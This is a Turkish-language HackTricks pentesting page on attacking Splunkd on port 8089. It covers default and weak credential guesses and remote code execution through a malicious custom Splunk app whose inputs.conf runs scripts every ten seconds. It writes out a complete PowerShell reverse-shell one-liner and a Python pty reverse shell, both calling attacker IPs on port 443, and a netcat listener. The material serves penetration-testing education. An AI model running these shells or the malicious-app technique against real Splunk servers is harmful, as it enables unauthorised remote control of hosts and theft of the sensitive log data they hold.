8089 - Pentesting Splunkd

AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!

HackTricks'ı desteklemenin diğer yolları:

  • Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız [ABONELİK PLANLARI]'na(https://github.com/sponsors/carlospolop) göz atın!

  • [The PEASS Ailesi]'ni(https://opensea.io/collection/the-peass-family) keşfedin, özel [NFT'ler]'imiz(https://opensea.io/collection/the-peass-family) koleksiyonumuzu

  • Katılın 💬 Discord grubuna veya telegram grubuna veya bizi Twitter 🐦 @carlospolopm** takip edin.**

  • Hacking püf noktalarınızı paylaşarak PR'lar göndererek HackTricks ve HackTricks Cloud github depolarına.

Temel Bilgiler

Splunk, log analiz aracı olan ve verileri toplama, analiz etme ve görselleştirmede önemli bir rol oynayan bir araçtır. İlk amacı SIEM (Güvenlik Bilgi ve Olay Yönetimi) aracı olarak hizmet vermek olmasa da, güvenlik izleme ve iş analitiği alanında popülerlik kazanmıştır.

Splunk dağıtımları genellikle duyarlı verileri depolamak için kullanılır ve sistem ele geçirilirse potansiyel saldırganlar için değerli bir bilgi kaynağı olabilir. Varsayılan port: 8089

PORT     STATE SERVICE VERSION
8089/tcp open  http    Splunkd httpd

Splunk web sunucusu varsayılan olarak 8000 numaralı portta çalışır.

Numaralandırma

Ücretsiz Sürüm

Splunk Enterprise deneme sürümü, 60 gün sonra ücretsiz bir sürüme dönüşür, bu sürüm kimlik doğrulaması gerektirmez. Sistem yöneticilerinin Splunk'u denemek için deneme sürümünü yüklemesi ve daha sonra unutması oldukça yaygındır. Bu otomatik olarak kimlik doğrulaması olmayan ücretsiz sürüme dönüşecektir ve bu da çevrede bir güvenlik açığı oluşturacaktır. Bazı organizasyonlar bütçe kısıtlamaları nedeniyle ücretsiz sürümü tercih edebilir, ancak kullanıcı/rol yönetiminin olmamasının getirdiği sonuçları tam olarak anlamayabilirler.

Varsayılan Kimlik Bilgileri

Eski Splunk sürümlerinde, varsayılan kimlik bilgileri admin:changeme olarak ayarlanmıştır ve bu bilgiler giriş sayfasında kolayca görüntülenir. Ancak, en son Splunk sürümü kurulum sürecinde kimlik bilgilerini ayarlar. Varsayılan kimlik bilgileri çalışmıyorsa, admin, Welcome, Welcome1, Password123 gibi yaygın zayıf şifreler için kontrol etmek faydalı olabilir.

Bilgi Edinme

Splunk'a giriş yaptıktan sonra, verileri inceleyebilir, raporlar çalıştırabilir, panolar oluşturabilir, Splunkbase kütüphanesinden uygulamaları yükleyebilir ve özel uygulamaları yükleyebilirsiniz. Ayrıca kod çalıştırabilirsiniz: Splunk'un, sunucu tarafında Django uygulamaları, REST uç noktaları, betikli girişler ve uyarı betikleri gibi kod çalıştırma yöntemleri bulunmaktadır. Splunk sunucusunda uzaktan kod yürütme sağlamanın yaygın bir yolu, betikli girişlerin kullanılmasıdır.

Ayrıca, Splunk'un Windows veya Linux ana bilgisayarlarına yüklenebileceği göz önüne alındığında, betikli girişler Bash, PowerShell veya Batch betiklerini çalıştırmak için oluşturulabilir.

Shodan

  • Splunk yapı

Uzaktan Kod Yürütme (RCE)

Özel Uygulama Oluşturma

Özel bir uygulama Python, Batch, Bash veya PowerShell betikleri çalıştırabilir. Splunk'un Python'u yüklü geldiğine dikkat edin, bu nedenle Windows sistemlerinde bile python kodu çalıştırabilirsiniz.

Bize yardımcı olması için bu Splunk paketini kullanabilirsiniz. Bu depodaki bin dizininde Python ve PowerShell için örnekler bulunmaktadır. Bu adımları adım adım takip edelim.

Bunu başarmak için öncelikle aşağıdaki dizin yapısını kullanarak özel bir Splunk uygulaması oluşturmamız gerekmektedir:

tree splunk_shell/

splunk_shell/
├── bin
└── default

bin dizini, çalıştırmayı amaçladığımız betikleri içerecektir (bu durumda, bir PowerShell ters kabuk), ve varsayılan dizinde inputs.conf dosyamız olacak. Ters kabuğumuz bir PowerShell tek satırlık komutu olacaktır:

$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(

Dosya inputs.conf, Splunk'a hangi betiği çalıştıracağını ve diğer koşulları söyler. Burada uygulamayı etkinleştirdik ve Splunk'a betiği her 10 saniyede bir çalıştırmasını söyledik. Aralık her zaman saniye cinsindendir ve giriş (betik) yalnızca bu ayar mevcut olduğunda çalışacaktır.

cat inputs.conf

[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell

[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10

İhtiyacımız olan .bat dosyası, uygulama dağıtıldığında çalışacak ve PowerShell tek satırlık komutunu yürütecek.

Bir sonraki adım, Dosyadan uygulama yükle'yi seçmek ve uygulamayı yüklemek.

Zararlı özel uygulamayı yüklemeden önce, Netcat veya socat kullanarak bir dinleyici başlatalım.

sudo nc -lnvp 443

listening on [any] 443 ...

Uygulama Yükle sayfasında Göz ata tıklayın, daha önce oluşturduğumuz tarball'ı seçin ve Yükle'ye tıklayın. Uygulamayı yüklediğimiz anda, uygulamanın durumu otomatik olarak Etkin olarak değişeceği için bir ters kabuk alınır.

Linux

Eğer bir Linux ana bilgisayar ile uğraşıyorsak, özel kötü amaçlı uygulamayı oluşturmadan önce rev.py Python betiğini düzenlememiz gerekecektir. Geri kalan süreç aynı olacaktı ve Netcat dinleyicimizde ters kabuk bağlantısı alacak ve yarışa başlayacaktık.

import sys,socket,os,pty

ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')

Uzaktan Kod Çalıştırma (RCE) ve Yetki Yükseltme

Aşağıdaki sayfada, bu servisin nasıl kötüye kullanılarak yetki yükseltme ve kalıcılık elde edilebileceğine dair bir açıklama bulabilirsiniz:

pageSplunk LPE and Persistence

Referanslar

Sıfırdan Kahramana kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'i desteklemenin diğer yolları:

Last updated